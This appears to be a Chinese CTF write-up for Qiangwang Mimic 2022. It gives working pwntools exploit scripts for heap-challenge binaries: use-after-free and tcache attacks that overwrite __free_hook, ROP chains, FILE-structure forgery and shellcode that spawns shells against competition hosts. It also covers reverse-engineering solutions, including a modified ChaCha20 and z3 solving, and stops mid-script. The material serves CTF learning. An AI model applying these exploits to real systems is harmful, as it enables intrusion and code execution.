from pwn import *
context.arch = "amd64"

shellcode = '''
push r8
pop rsi
xor rax, rax
xor rdi, rdi
xor rdx, rdx
inc rdx
shl rdx, 16
syscall
nop
'''

jmp_asm = asm('jmp $+0x2a')

asm_code = ""
asm_list = shellcode.splitlines()
for i in range(len(asm_list)):

    this_asm = asm(asm_list[i])
    new_code = asm_code + this_asm
    if len(new_code) > 6 or i == len(asm_list) - 1:
        asm_code = asm_code.ljust(6, '\\x90') + jmp_asm
        print(hex(u64(asm_code)))
        log.hexdump(asm_code)
        asm_code = this_asm
    else:
        asm_code = new_code

二次读入发送 shellcode

from pwn import *
context.arch = "amd64"
context.log_level = "debug"

sh = remote('172.52.31.225', 6666)
sh.sendlineafter("please input your wasm code length:", str(len(wasm_data)))
sh.sendafter("please input your wasm code:", wasm_data)

sleep(5)
sh.sendline('\\x90' * 0x100 + asm(shellcraft.sh()))
sh.interactive()

webheap

from pwn import *
from ctypes import *

# sh = process('./webheap')
sh = remote('172.52.31.32', 9999)
context.log_level = "debug"

class WebHeap(Structure):
    _fields_ = (
        ('choice', c_uint64), ('index', c_uint64), ('size', c_uint64), ('data', c_char_p), ('unknown', c_uint64))

    def __str__(self):
        return '(%d, %d, %d)' % (self.choice, self.index, self.size)

def LoadProtocolLibrary():
    global ProtocolLibrary
    global GetSerializedHeapMenu
    global SerializePolyhedron
    global DeserializePolyhedron
    ProtocolLibrary = cdll.LoadLibrary('./webHeap.so')

    SerializePolyhedron = ProtocolLibrary.SerializePolyhedron
    SerializePolyhedron.argtypes = (c_uint64, c_uint64, c_uint64, c_char_p, c_uint64, c_void_p, c_size_t)
    SerializePolyhedron.restype = c_ssize_t

    DeserializePolyhedron = ProtocolLibrary.DeserializePolyhedron
    DeserializePolyhedron.argtypes = (POINTER(WebHeap), c_void_p, c_size_t)
    DeserializePolyhedron.restype = c_ssize_t

def create(choice, index, size, data):
    LoadProtocolLibrary()
    payload_buffer = create_string_buffer(1024)
    count = SerializePolyhedron(choice, index, size, data, 0, payload_buffer, len(payload_buffer))
    assert count >= 0
    return payload_buffer[0:count]

def sendPacket(data):
    sh.sendlineafter("Packet length: ", str(len(data)))
    sh.sendafter("Content:", data)

def add(idx, size):
    sendPacket(create(0, idx, size, ""))

def show(idx):
    sendPacket(create(1, idx, 0, ""))

def delete(idx):
    sendPacket(create(2, idx, 0, ""))

def edit(idx, content):
    sendPacket(create(3, idx, 0, content))

add(0, 0x418)
add(1, 0x68)
add(2, 0x68)
delete(0)
show(0)
libc_base = u64(sh.recvuntil('\\x7f')[-6:].ljust(8, '\\x00')) - 0x3ebca0
log.success("libc_base:\\t" + hex(libc_base))
free_hook_addr = libc_base + 0x3ed8e8
system_addr = libc_base + 0x4f550
delete(2)
delete(1)
edit(1, p64(free_hook_addr))
add(3, 0x68)
add(4, 0x68)
edit(3, '/bin/sh\\x00')
edit(4, p64(system_addr))
delete(3)
# gdb.attach(sh)
# sendPacket('\\xb9\\x05\\x01\\x00\\x81\\x88\\x00\\xbd\\x00\\x00')

sh.interactive()

webheap_revenge

from pwn import *
from ctypes import *

sh = process('./webheap_revenge')
#sh = remote('172.52.31.189', 9999)
context.log_level = "debug"

class WebHeap(Structure):
    _fields_ = (
    ('choice', c_uint64), ('index', c_uint64), ('size', c_uint64), ('data', c_char_p), ('unknown', c_uint64))

    def __str__(self):
        return '(%d, %d, %d)' % (self.choice, self.index, self.size)

def LoadProtocolLibrary():
    global ProtocolLibrary
    global GetSerializedHeapMenu
    global SerializePolyhedron
    global DeserializePolyhedron
    ProtocolLibrary = cdll.LoadLibrary('./webHeap.so')

    SerializePolyhedron = ProtocolLibrary.SerializePolyhedron
    SerializePolyhedron.argtypes = (c_uint64, c_uint64, c_uint64, c_char_p, c_uint64, c_void_p, c_size_t)
    SerializePolyhedron.restype = c_ssize_t

    DeserializePolyhedron = ProtocolLibrary.DeserializePolyhedron
    DeserializePolyhedron.argtypes = (POINTER(WebHeap), c_void_p, c_size_t)
    DeserializePolyhedron.restype = c_ssize_t

def create(choice, index, size, data):
    LoadProtocolLibrary()
    payload_buffer = create_string_buffer(1024)
    count = SerializePolyhedron(choice, index, size, data, 0, payload_buffer, len(payload_buffer))
    assert count >= 0
    return payload_buffer[0:count]

def sendPacket(data):
    sh.sendlineafter("Packet length: ", str(len(data)))
    sh.sendafter("Content:", data)

def add(idx, size):
    sendPacket(create(0, idx, size, ""))

def show(idx):
    sendPacket(create(1, idx, 0, ""))

def delete(idx):
    sendPacket(create(2, idx, 0, ""))

def edit(idx, content):
    sendPacket(create(3, idx, 0, content))

add(0, 0x418)
add(1, 0x68)
add(2, 0x68)
add(3, 0x68)
delete(0)
add(0, 0x418)
show(0)
libc_base = u64(sh.recvuntil('\\x7f')[-6:].ljust(8, '\\x00')) - 0x3ebca0
log.success("libc_base:\\t" + hex(libc_base))
free_hook_addr = libc_base + 0x3ed8e8
system_addr = libc_base + 0x4f550
edit(1, 'a' * 0x68 + p64(0xe1))
delete(2)
add(4, 0xd8)
delete(1)
delete(3)
edit(4, 'a' * 0x70 + p64(free_hook_addr))
add(5, 0x68)
add(6, 0x68)
edit(5, '/bin/sh\\x00')
edit(6, p64(system_addr))
delete(5)

#gdb.attach(sh)

sh.interactive()

bfbf

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
context.log_level = 'debug'

binary = 'pwn2'
elf = ELF('pwn2')
libc = ELF("./libc.so.6")
context.binary = binary
if(len(sys.argv) == 3):
    p = remote(sys.argv[1],sys.argv[2])
else:
    p = process(binary)
l64 = lambda      :u64(p.recvuntil("\\x7f")[-6:].ljust(8,"\\x00"))
l32 = lambda      :u32(p.recvuntil("\\xf7")[-4:].ljust(4,"\\x00"))
sla = lambda a,b  :p.sendlineafter(str(a),str(b))
sa  = lambda a,b  :p.sendafter(str(a),str(b))
lg  = lambda name,data : p.success(name + ": 0x%x" % data)
se  = lambda payload: p.send(payload)
rl  = lambda      : p.recv()
sl  = lambda payload: p.sendline(payload)
ru  = lambda a     :p.recvuntil(str(a))
payload = ">"*0x238
payload += "." + '>'
payload += "." + '>'
payload += "." + '>'
payload += "." + '>'
payload += "." + '>'
payload += "." + '>'
payload += "<"*6
payload += ","
payload += (">" + ",")*(0x17+0x10)
# p.recv()
p.send(payload)
libc_base = l64() - 243 - libc.sym["__libc_start_main"]
lg("libc_base",libc_base)
free_hook = libc_base + libc.sym["__free_hook"]
free_hook_zero = free_hook & 0xfffffffffffff000
pop_rdi = libc_base + 0x0000000000023b6a
pop_rsi = libc_base + 0x000000000002601f
pop_rdx = libc_base + 0x0000000000142c92
pop_rax = libc_base + 0x0000000000036174
pop_rsp = 0x000000000002f70a + libc_base
syscall = 0x00000000000630a9 + libc_base
pop_rcx = 0x000000000010257e + libc_base
add_rax = 0x00000000000cfaf0 + libc_base
rop = p64(pop_rdi) + p64(free_hook_zero) + p64(libc_base + libc.sym["gets"])
rop += p64(pop_rsp) + p64(free_hook_zero)
sleep(0.01)
p.send(rop)
sleep(0.01)
sc = shellcraft.cat("flag")
# sc = shellcraft.mmap(0x100000,0x1000,0x7,0x11,0x3,0)
# sc += shellcraft.write(1,0x100000,0x20)
# sc = shellcraft.open("./",0x10000)
# sc += shellcraft.getdents("rax",free_hook_zero+0x200,0x300)
# sc += shellcraft.write(1,free_hook_zero+0x200,0x300)
orw = p64(pop_rdi) + p64(free_hook_zero)
orw += p64(pop_rsi) + p64(0x1000)
orw += p64(pop_rdx) + p64(0x7)
orw += p64(pop_rax) + p64(9)
orw += p64(add_rax)
orw += p64(syscall)
orw += p64(free_hook_zero+0x58)
orw += asm(sc)
# attach(p)
# orw = p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(free_hook_zero)
# orw += p64(pop_rdx) + p64(0x100) + p64(pop_rax) + p64(0) + p64(syscall)
p.sendline(orw)
p.interactive()

store

UAF,largebinattack劫持stderr→_chain伪造io_file造house of apple,栈迁移执行shellcode,远程flag名未知因此getedents来找flag,flag为f1ag708edc8a0c4fecdb57d1文件,orw读flag

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
context.log_level = 'debug'

binary = 'store'
elf = ELF('store')
libc = ELF("./libc-2.31.so")
# context.binary = binary
if(len(sys.argv) == 3):
    p = remote(sys.argv[1],sys.argv[2])
else:
    p = process(binary)
l64 = lambda      :u64(p.recvuntil("\\x7f")[-6:].ljust(8,"\\x00"))
l32 = lambda      :u32(p.recvuntil("\\xf7")[-4:].ljust(4,"\\x00"))
sla = lambda a,b  :p.sendlineafter(str(a),str(b))
sa  = lambda a,b  :p.sendafter(str(a),str(b))
lg  = lambda name,data : p.success(name + ": 0x%x" % data)
se  = lambda payload: p.send(payload)
rl  = lambda      : p.recv()
sl  = lambda payload: p.sendline(payload)
ru  = lambda a     :p.recvuntil(str(a))
def cmd(idx):
    sla("choice:",str(idx))
def add(size,payload,payload2):
    cmd(1)
    sla("Size:",str(size))
    sa("Content:",payload)
    sa("Remark:",payload2)
def free(idx):
    cmd(2)
    sla("Index:",str(idx))
def show(idx):
    cmd(4)
    sla("Index:",str(idx))
def edit(idx,payload,payload2 = "bbbb"):
    cmd(3)
    sla("Index:",str(idx))
    sa("Content:",payload)
    sa("Remark",payload2)
def malloc(size):
    cmd(1)
    sla("Size:",str(size))
add(0x410,"aaa","bbbb")
add(0x420,"aaa","bbbb")
free(1)
show(1)
libc_base = l64() - 96 - libc.sym["__malloc_hook"] - 0x10
lg("libc_base",libc_base)
malloc(0x500)
free(0)
edit(1,"a"*0x18,"a"*0x18)
show(1)
ru("a"*0x18)
heap_addr = u64(p.recv(6).ljust(8,'\\x00'))
lg("heap_addr",heap_addr) 
heap_base = heap_addr - 0xad0
stderr_chain = libc_base + libc.sym["_IO_2_1_stderr_"] + 104
io_file_jumps = libc_base + libc.sym["_IO_file_jumps"]
gadgets = 0x0000000000157d8a + libc_base
leaver = 0x000000000005aa48 + libc_base
pop_rsp = 0x0000000000032b5a + libc_base
pop4_r = 0x0000000000026b6b + libc_base
pop_rdi = 0x0000000000026b72 + libc_base
pop_rsi = 0x0000000000027529 + libc_base
pop_rdx = 0x000000000011c371 + libc_base
pop_rax = libc_base + 0x000000000004a550
syscall = 0x0000000000066229 + libc_base
free_hook = libc_base + libc.sym["__free_hook"]
free_hook1 = free_hook & 0xfffffffffffff000
#  mov rbp, qword ptr [rdi + 0x48];
#  mov rax, qword ptr [rbp + 0x18]; 
#  lea r13, [rbp + 0x10]; 
#  mov dword ptr [rbp + 0x10], 0; 
#  mov rdi, r13; 
#  call qword ptr [rax + 0x28];
edit(1,p64(0)*3  + p64(stderr_chain-0x20))
malloc(0x500)
payload = flat({
    0x18:1,
    0x10:0,
    0xb0:1,
    0x20:2,
    0x90:heap_base+0x6c0,
    0x88:heap_base+0x6c0,
    0xc8:io_file_jumps+0x48
}, filler = b'\\x00',arch='amd64')
payload2 = flat({
    0:0,
    0x18:0,
    0x20:0x100,
    0x28:gadgets,
    0x30:0x100,
    0x38:heap_addr,

},filler = '\\x00',arch='amd64')
edit(0,payload,payload2)
payload = flat({
    0:0,
    0x10:0x1234,#rdi
    0x18:gadgets,#rax
    0x28:0x2222,
    0x38:heap_base+0xf10,

},filler = '\\x00',arch='amd64')
payload2 = flat({
    0x8:pop4_r,
    0x10:heap_base+0xf50,
    0x18:heap_base+0xf10,
    0x10:0x3456,
    0x28:leaver,
    0x30:pop_rdi,
    0x38:0,
    0x40:pop_rsi,
    0x48:free_hook1,
    0x50:pop_rdx,
    0x58:0x1000,
    0x60:0,
    0x68:pop_rax,
    0x70:0,
    0x78:syscall,
    0x80:pop_rdi,
    0x88:free_hook1,
    0x90:pop_rsi,
    0x98:0x1000,
    0xa0:pop_rdx,
    0xa8:0x7,
    0xb0:0x7,
    0xb8:pop_rax,
    0xc0:10,
    0xc8:syscall,
    0xd0:pop_rsp,
    0xd8:free_hook1+0x200,

},filler = '\\x00',arch='amd64')
edit(1,payload,payload2)
sc = shellcraft.mmap(0x40404040,0x7e,7,34,0,0)
sc = asm(sc)
sc += asm(shellcraft.amd64.read(0,0x40404040,0x40),arch = 'amd64')

# sc += asm(shellcraft.open(0x40404040,0x10000))
# sc += asm(shellcraft.getdents("eax",0x40404040+0x100,0x200))
# sc1 = shellcraft.amd64.write(1,0x40404040+0x100,0x200)

sc += asm(shellcraft.open(0x40404040,0))
sc1 = shellcraft.amd64.read("rax","rsp",0x100)
sc1 += shellcraft.amd64.write(1,"rsp",0x100)
sc = (sc) + asm(sc1,arch = 'amd64')
cmd(5)
sleep(0.1)
p.send(sc.ljust(0x200,'\\x90') + p64(free_hook1) + "flag\\x00\\x00\\x00\\x00")
sleep(0.1)
# attach(p)
p.sendline("f1ag708edc8a0c4fecdb57d1\\x00\\x00")
# p.sendline("./\\x00\\x00\\x00")
# attach(p)
p.interactive()
# f1ag708edc8a0c4fecdb57d1

only

UAF,double free劫持tcache头部(1/16),错位申请到stdout(1/16),泄露libc,打free_hook栈迁移orw出flag,1/256

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
context.log_level = 'debug'
def cmd(idx):
    sla(">>",str(idx))
def add(size,payload):
    cmd(1)
    sla("Size:",str(size))
    sa("Content:",payload)
def free():
    cmd(2)
def add2():
    cmd(0)
def exp():
    add(0xe0,"aaa\\n")
    free()
    add2()
    free()
    add(0xe0,p16(0xa010)+'\\n')
    add(0xe0,"aaa\\n")
    payload = "\\x00"*0x18 + p16(0) + p16(0x20)
    payload = payload.ljust(0x4e,'\\x00')
    payload += p16(0x20)
    add(0xe0,payload + '\\n')
    free()
    add(0x80,p16(0)*2 + '\\n')
    add(0x48,p16(0x96a0) + '\\n')
    add(0x30,p64(0xfbad1800) + p64(0)*3 + p8(0x8) + '\\n')
    libc_base = l64() - libc.sym["_IO_2_1_stdin_"]
    lg("libc_base",libc_base)
    free_hook = libc_base + libc.sym["__free_hook"]
    free_hook1 = free_hook & 0xfffffffffffff000
    gadgets = 0x0000000000157d8a + libc_base
    # mov rbp, qword ptr [rdi + 0x48];
    # mov rax, qword ptr [rbp + 0x18];
    # lea r13, [rbp + 0x10]; 
    # mov dword ptr [rbp + 0x10], 0; 
    # mov rdi, r13; 
    # call qword ptr [rax + 0x28]; 

    pop_rdi = libc_base + 0x0000000000026b72
    pop_rsi = libc_base + 0x0000000000027529
    pop_rdx = libc_base + 0x000000000011c371
    pop_rax = libc_base + 0x000000000004a550
    pop_rsp = libc_base + 0x0000000000032b5a
    pop4r = 0x00000000000913ae + libc_base
    leaver = 0x000000000005aa48 + libc_base
    syscall = 0x0000000000066229 + libc_base

    add(0x28,p64(free_hook)*2 + '\\n')
    payload = flat({
        0:gadgets,
        0x8:pop4r,
        0x18:free_hook,
        0x28:leaver,
        0x30:pop_rsi,
        0x38:free_hook1,
        0x40:pop_rdi,
        0x48:free_hook,
        0x50:pop_rdi,
        0x58:0,
        0x60:pop_rdx,
        0x68:0x1000,
        0x70:0,
        0x78:pop_rax,
        0x80:0,
        0x88:syscall,
        0x90:pop_rsp,
        0x98:free_hook1,
        0xa0:syscall,
    },filler = '\\x00')
    add(0xe0,payload+'\\n')
    free()
    sleep(0.01)
    payload = flat([
        pop_rdi,free_hook1,pop_rsi,0x1000,pop_rdx,0x7,0x7,pop_rax,10,
        syscall,free_hook1+0x58
    ])
    sc = shellcraft.cat("flag")
    p.send(payload + asm(sc))
    # add(0xd0,p64(0)+p16(0x1234) +'\\n')
    # free()
    p.interactive()
if __name__ == "__main__":
    binary = './only'
    elf = ELF('./only')
    libc = ELF("./libc.so.6")
    context.binary = binary
    # if(len(sys.argv) == 3):
    #     p = remote(sys.argv[1],sys.argv[2])
    # else:
    #     p = process(binary)
    p = remote
    l64 = lambda      :u64(p.recvuntil("\\x7f")[-6:].ljust(8,"\\x00"))
    l32 = lambda      :u32(p.recvuntil("\\xf7")[-4:].ljust(4,"\\x00"))
    sla = lambda a,b  :p.sendlineafter(str(a),str(b))
    sa  = lambda a,b  :p.sendafter(str(a),str(b))
    lg  = lambda name,data : p.success(name + ": 0x%x" % data)
    se  = lambda payload: p.send(payload)
    rl  = lambda      : p.recv()
    sl  = lambda payload: p.sendline(payload)
    ru  = lambda a     :p.recvuntil(str(a))
    while(1):
        try:
            p = remote(sys.argv[1],sys.argv[2])
            exp()
        except Exception as e:
            p.close()
            print(e)

REVERSE

comeongo

根据字符串you get it , flag may be flag{username+password}定位主函数

强网拟态 2022 By W&M

check函数进去分析一下

强网拟态 2022 By W&M

动调得知v5和v11分别是username和password的长度,都是16,然后会有两个check

强网拟态 2022 By W&M

rax是username,rcx是password,rbx和rdi都是长度

强网拟态 2022 By W&M 强网拟态 2022 By W&M

Encoding找到了base58的表,参数是username的前8位+password的前八位

强网拟态 2022 By W&M

memequal的参数是9pd5duAv9fueatCwqEwuy7,我们解一下GoM0bi13G3tItEzF

拆分一下得到

username:GoM0bi13
password:G3tItEzF

只有check1过了才能进入check2,我们重新构造flag

强网拟态 2022 By W&M

check2这里会对username的后八位和password的后八位进行操作,通过main_io_read加密,经过多次调试,发生是逐字节加密的,而且对数字不会有操作,对字母表作了一个加密的映射:abcd是mnop,ijkl对应uvwx,这样就可以调出密文所对应的明文

把username[8-11]和passsword[8-11]进行一个merge,然后base64加密然后与X051YmNmRnE=比较,解密一下X051YmNmRnE=

_NubcfFq

username:GoM0bi13_Bin
password:G3tItEzForRe

这个根据前面跳出来的字母表然后替换后

现在缺最后四位,直接下软件断点下看汇编就行了,类似解方程

强网拟态 2022 By W&M
a=[0X76,0X47]
b=[ 0xDD, 0x8F, 0xA1, 0x64]
for i in range(len(a)):
    print(chr(b[i]-a[i]-i))
print(chr(0x6f))
print(chr(33))
print(chr(0x61-ord('!')))
username:GoM0bi13_BingGo@
password:G3tItEzForRe__0!

少了两位,下断点没停下来,题目有问题,后面更新附件了,不过我直接猜了一下密钥vG,结果对了

username:GoM0bi13_BingGo@
password:G3tItEzForRevG0!

mcmc

这个有ollvm,但是有明显的chacha20特征,直接解没解出来,怀疑有其他操作,对flag进行访问断点

强网拟态 2022 By W&M

最后的结果比对

unsigned char ida_chars[] =
{
  0x06, 0x08, 0x65, 0x04, 0x60, 0x03, 0x08, 0x01, 0x4A, 0x10, 
  0x32, 0x58, 0xEE, 0x97, 0x65, 0x84, 0x44, 0xF2, 0x10, 0x6B, 
  0xE8, 0x50, 0x24, 0x99, 0xF6, 0xE3, 0x21, 0x51, 0xC2, 0x5D, 
  0xBF, 0x32
};
强网拟态 2022 By W&M

这里前面sub_405480是把flag的每四个为一组,16个,也就是4组进行一次加密

sub_4011A0就是chacha20了,chacha20的xor部分是被魔改过的

但是下断点调试,再这些之前还有个循环是对8、16、24、32位进行xor,xor的值是[68,35,91,90],是固定的

github找到chacha20的源码对着看https://github.com/Ginurx/chacha20-c

#pragma once

#pragma once
#include <assert.h>
#include <stddef.h>
#include <stdint.h>
#include <string.h>

#ifdef __cplusplus 
extern "C" {
#endif

    struct chacha20_context
    {
        uint32_t keystream32[16];
        size_t position;

        uint8_t key[32];
        uint8_t nonce[12];
        uint64_t counter;

        uint32_t state[16];
    };

    void chacha20_init_context(struct chacha20_context* ctx, uint8_t key[], uint8_t nounc[], uint64_t counter);

    void chacha20_xor(struct chacha20_context* ctx, uint8_t* bytes, size_t n_bytes);

#ifdef __cplusplus 
}
#endif
#include "chacha20.h"
#include<stdio.h>

static uint32_t rotl32(uint32_t x, int n)
{
    return (x << n) | (x >> (32 - n));
}

static uint32_t pack4(const uint8_t* a)
{
    uint32_t res = 0;
    res |= (uint32_t)a[0] << 0 * 8;
    res |= (uint32_t)a[1] << 1 * 8;
    res |= (uint32_t)a[2] << 2 * 8;
    res |= (uint32_t)a[3] << 3 * 8;
    return res;
}

static void unpack4(uint32_t src, uint8_t* dst) {
    dst[0] = (src >> 0 * 8) & 0xff;
    dst[1] = (src >> 1 * 8) & 0xff;
    dst[2] = (src >> 2 * 8) & 0xff;
    dst[3] = (src >> 3 * 8) & 0xff;
}

static void chacha20_init_block(struct chacha20_context* ctx, uint8_t key[], uint8_t nonce[])
{
    memcpy(ctx->key, key, sizeof(ctx->key));
    memcpy(ctx->nonce, nonce, sizeof(ctx->nonce));

    const uint8_t* magic_constant = (uint8_t*)"expand 32-byte k";
    ctx->state[0] = pack4(magic_constant + 0 * 4);
    ctx->state[1] = pack4(magic_constant + 1 * 4);
    ctx->state[2] = pack4(magic_constant + 2 * 4);
    ctx->state[3] = pack4(magic_constant + 3 * 4);
    ctx->state[4] = pack4(key + 0 * 4);
    ctx->state[5] = pack4(key + 1 * 4);
    ctx->state[6] = pack4(key + 2 * 4);
    ctx->state[7] = pack4(key + 3 * 4);
    ctx->state[8] = pack4(key + 4 * 4);
    ctx->state[9] = pack4(key + 5 * 4);
    ctx->state[10] = pack4(key + 6 * 4);
    ctx->state[11] = pack4(key + 7 * 4);
    // 64 bit counter initialized to zero by default.
    ctx->state[12] = 0;
    ctx->state[13] = pack4(nonce + 0 * 4);
    ctx->state[14] = pack4(nonce + 1 * 4);
    ctx->state[15] = pack4(nonce + 2 * 4);

    memcpy(ctx->nonce, nonce, sizeof(ctx->nonce));
}

static void chacha20_block_set_counter(struct chacha20_context* ctx, uint64_t counter)
{
    ctx->state[12] = (uint32_t)counter;
    ctx->state[13] = pack4(ctx->nonce + 0 * 4) + (uint32_t)(counter >> 32);
}

static void chacha20_block_next(struct chacha20_context* ctx) {
    // This is where the crazy voodoo magic happens.
    // Mix the bytes a lot and hope that nobody finds out how to undo it.
    for (int i = 0; i < 16; i++) ctx->keystream32[i] = ctx->state[i];

#define CHACHA20_QUARTERROUND(x, a, b, c, d) \\
    x[a] += x[b]; x[d] = rotl32(x[d] ^ x[a], 16); \\
    x[c] += x[d]; x[b] = rotl32(x[b] ^ x[c], 12); \\
    x[a] += x[b]; x[d] = rotl32(x[d] ^ x[a], 8); \\
    x[c] += x[d]; x[b] = rotl32(x[b] ^ x[c], 7);

    for (int i = 0; i < 10; i++)
    {
        CHACHA20_QUARTERROUND(ctx->keystream32, 0, 4, 8, 12)
            CHACHA20_QUARTERROUND(ctx->keystream32, 1, 5, 9, 13)
            CHACHA20_QUARTERROUND(ctx->keystream32, 2, 6, 10, 14)
            CHACHA20_QUARTERROUND(ctx->keystream32, 3, 7, 11, 15)
            CHACHA20_QUARTERROUND(ctx->keystream32, 0, 5, 10, 15)
            CHACHA20_QUARTERROUND(ctx->keystream32, 1, 6, 11, 12)
            CHACHA20_QUARTERROUND(ctx->keystream32, 2, 7, 8, 13)
            CHACHA20_QUARTERROUND(ctx->keystream32, 3, 4, 9, 14)
    }

    for (int i = 0; i < 16; i++) ctx->keystream32[i] += ctx->state[i];

    uint32_t* counter = ctx->state + 12;
    // increment counter
    counter[0]++;
    if (0 == counter[0])
    {
        // wrap around occured, increment higher 32 bits of counter
        counter[1]++;
        // Limited to 2^64 blocks of 64 bytes each.
        // If you want to process more than 1180591620717411303424 bytes
        // you have other problems.
        // We could keep counting with counter[2] and counter[3] (nonce),
        // but then we risk reusing the nonce which is very bad.
        assert(0 != counter[1]);
    }
}

void chacha20_init_context(struct chacha20_context* ctx, uint8_t key[], uint8_t nonce[], uint64_t counter)
{
    memset(ctx, 0, sizeof(struct chacha20_context));

    chacha20_init_block(ctx, key, nonce);
    chacha20_block_set_counter(ctx, counter);

    ctx->counter = counter;
    ctx->position = 64;
}

void chacha20_xor(struct chacha20_context* ctx, uint8_t* bytes, size_t n_bytes)
{
    uint8_t* keystream8 = (uint8_t*)ctx->keystream32;
    for (size_t i = 0; i < 32; i++)
    {
        if (ctx->position >= 64)
        {
            chacha20_block_next(ctx);
            ctx->position = 0;
        }
        //奇数
        if (i % 2 == 0)
        {
            bytes[i] = (((bytes[(i + 1)] + keystream8[ctx->position]) % 256) & 0xA | ~((bytes[i + 1] + keystream8[ctx->position]) % 256) & 0xF5) ^ (bytes[i] & 0xA | ~bytes[i] & 0xF5);
        }
        else
        {
            bytes[i] = (((bytes[i - 1] + keystream8[ctx->position]) % 256) & 0xA | ~((bytes[i - 1] + keystream8[ctx->position]) % 256) & 0xF5) ^ (bytes[i] & 0xA | ~bytes[i] & 0xF5);

        }




        ctx->position++;
    }
}
void chacha20_xordecode(struct chacha20_context* ctx, uint8_t* bytes, size_t n_bytes)
{
    uint8_t* keystream8 = (uint8_t*)ctx->keystream32;
    for (size_t i = 31; i >= 0; i--)
    {
        if (ctx->position >= 64)
        {
            chacha20_block_next(ctx);
            ctx->position = 31;
        }
        //奇数
        if (i % 2 == 0)
        {

            for (size_t t = 0; t < 0xff; t++)
            {
                int a1 = bytes[i] ^ (((bytes[(i + 1)] + keystream8[ctx->position]) % 256) & 0xA | ~((bytes[i + 1] + keystream8[ctx->position]) % 256) & 0xF5);
                if (((t & 0xA )| (~t & 0xF5)) ==a1 ) {
                    printf("%d:0x%x \\n",i, t);
                    bytes[i] = t;
                    break;
                }
            }
        }
        else
        {

            for (size_t t = 0; t < 0xff; t++)
            {
                int a = bytes[i] ^ (((bytes[i - 1] + keystream8[ctx->position]) % 256) & 0xA | ~((bytes[i - 1] + keystream8[ctx->position]) % 256) & 0xF5);
                if ((t & 0xA | ~t & 0xF5) ==a ) {
                    printf("%d:0x%x \\n",i, t);
                    bytes[i] = t;
                    break;
                }
            }
        }

        ctx->position--;
    }
}
int main() {
    uint8_t key[] = { 0x0A, 0xEB, 0x19, 0x25, 0x2E, 0xE8, 0x9C, 0x90, 0xEC, 0x85,
  0xC0, 0xD6, 0x07, 0xCF, 0x5A, 0x54, 0x49, 0x40, 0x12, 0x24,
  0xE7, 0x53, 0x13, 0x1E, 0x2F, 0x4F, 0xAD, 0x14, 0xDE, 0xF6,
  0x8F, 0xE9 };
    uint8_t nonce[] = { 0x67, 0xC6, 0x69, 0x73, 0x51, 0xFF, 0x4A, 0xEC, 0x29, 0xCD,
  0xBA, 0xAB };
    uint64_t counter = 1;
    uint8_t buffer[] = { 0x06, 0x08, 0x65, 0x04, 0x60, 0x03, 0x08, 0x01, 0x4A, 0x10,
  0x32, 0x58, 0xEE, 0x97, 0x65, 0x84, 0x44, 0xF2, 0x10, 0x6B,
  0xE8, 0x50, 0x24, 0x99, 0xF6, 0xE3, 0x21, 0x51, 0xC2, 0x5D,
  0xBF, 0x32 };
    uint8_t buffer1[] = { 0xfa,0x29,0xd7,0xe6,0x69,0x1a,0xd4,0xcf,0x9f,0x35,0x71,0x61,0x8b,0x6a,0xcb,0xf7,0x54,0x45,0x3b,0xf1,0xc3,0x66,0xe3,0x89,0xe7,0x5,0xfb,0x38,0xc1,0x6f,0xb0,0xe8 };
    struct chacha20_context ctx;
    chacha20_init_context(&ctx, key, nonce, counter);
    //chacha20_xorde(&ctx, buffer, sizeof(buffer));
    for (size_t i = 0; i < 32; i+=4)
    {
        printf("0x%x%x%x%x\\n", buffer1[i+3],buffer1[i+2], buffer1[i + 1],buffer1[i + 0]);
    }
    return 0;
}

这里我们只是得到没被chacha20加密过的数据

from z3 import *
flag = [BitVec('flag[%d]' % i, 32) for i in range(8)]
s = Solver()
s.add(((flag[0]<<1)-((-flag[1])&0xffffffff)-flag[2]+flag[3])&0xffffffff==0xe6d729fa)
s.add((~(~(flag[0]+flag[1]) + (-flag[2])&0xffffffff)-flag[3])&0xffffffff==0xcfd41a69)
s.add((flag[0]-flag[1]+flag[2]+((-flag[3])&0xffffffff))&0xffffffff==0x6171359f)
s.add((~(~(flag[0]+(flag[1]<<1) - flag[2])+(-(flag[3]<<1))&0xffffffff))&0xffffffff==0xf7cb6a8b)
s.add(((flag[4]<<1)-((-flag[5])&0xffffffff)-flag[6]+flag[7])&0xffffffff==0xf13b4554)
s.add((~(~(flag[4]+flag[5]) + (-flag[6])&0xffffffff)-flag[7])&0xffffffff==0x89e366c3)
s.add((flag[4]-flag[5]+flag[6]+((-flag[7])&0xffffffff))&0xffffffff==0x38fb05e7)
s.add((~(~(flag[4]+(flag[5]<<1) - flag[6])+(-(flag[7]<<1))&0xffffffff))&0xffffffff==0xe8b06fc1)
if s.check() == sat:
   print(s.model())
pq=[1835889971,925987429,1919252016, 1194345311,1667722857,678703214,812658772, 845703272]
for i in range(len(pq)):
  print(hex(pq[i]))

ppq=[0x33,0x75,0x6d,0x6d,0x65,0x72,0x31,0x37
    ,0x30,0x76,0x65,0x72,0x5f,0x43,0x30,0x47
    ,0x69,0x6e,0x67,0x63,0x6e,0x30,0x74,0x28
    ,0x54,0x30,0x70,0x30,0x68,0x68,0x68,0x32]
for i in range(len(ppq)):
  print(chr(ppq[i]^firstxor[i]),end="")

这里把8、16、24、32的xor也计算进去了

3ummer1s0ver_C0dingcn0tsT0p0hhhh

MISC

Welcome

签到题。下载附件zip打开里面的txt是flag

babymisc

猜数字,只能猜15次,二分法都不够用,只能爆破了

from pwn import *

#context.log_level = 'debug'

def run():
    io = remote("172.52.31.165",9999)
    try:
        print("start")

        io.sendline(b"Y")
        io.recvuntil(b"Please enter a number:")

        #target > mid 等价于 guess(mid)返回1
        #target < mid 等价于 guess(mid)返回-1
        #target = mid 等价于 guess(mid)返回0
        def guess(num):
            io.sendline(str(int(num)))
            '''
            [DEBUG] Sent 0x7 bytes:
            b'907273\n'
            [DEBUG] Received 0x5 bytes:
            b'Bingo'
            [DEBUG] Received 0x62 bytes:
            b'\n'
            b'Time use:0.44second\n'
            b"To thank you, I'll give you the flag\n"
            b'flag{B5n5e11ZfuQq1eH8kdTcF5MO205NtDs8}\n'
            b'\n'
            '''
            result = io.recvuntil([b"low\n",b"up\n",b"You lost",b"Bingo"])
            if b'low\n' in result:
                return 1
            elif b'up\n' in result:
                return -1
            elif b'You lost' in result:
                return 3
            elif b'Bingo' in result:
                print(result)
                io.interactive()
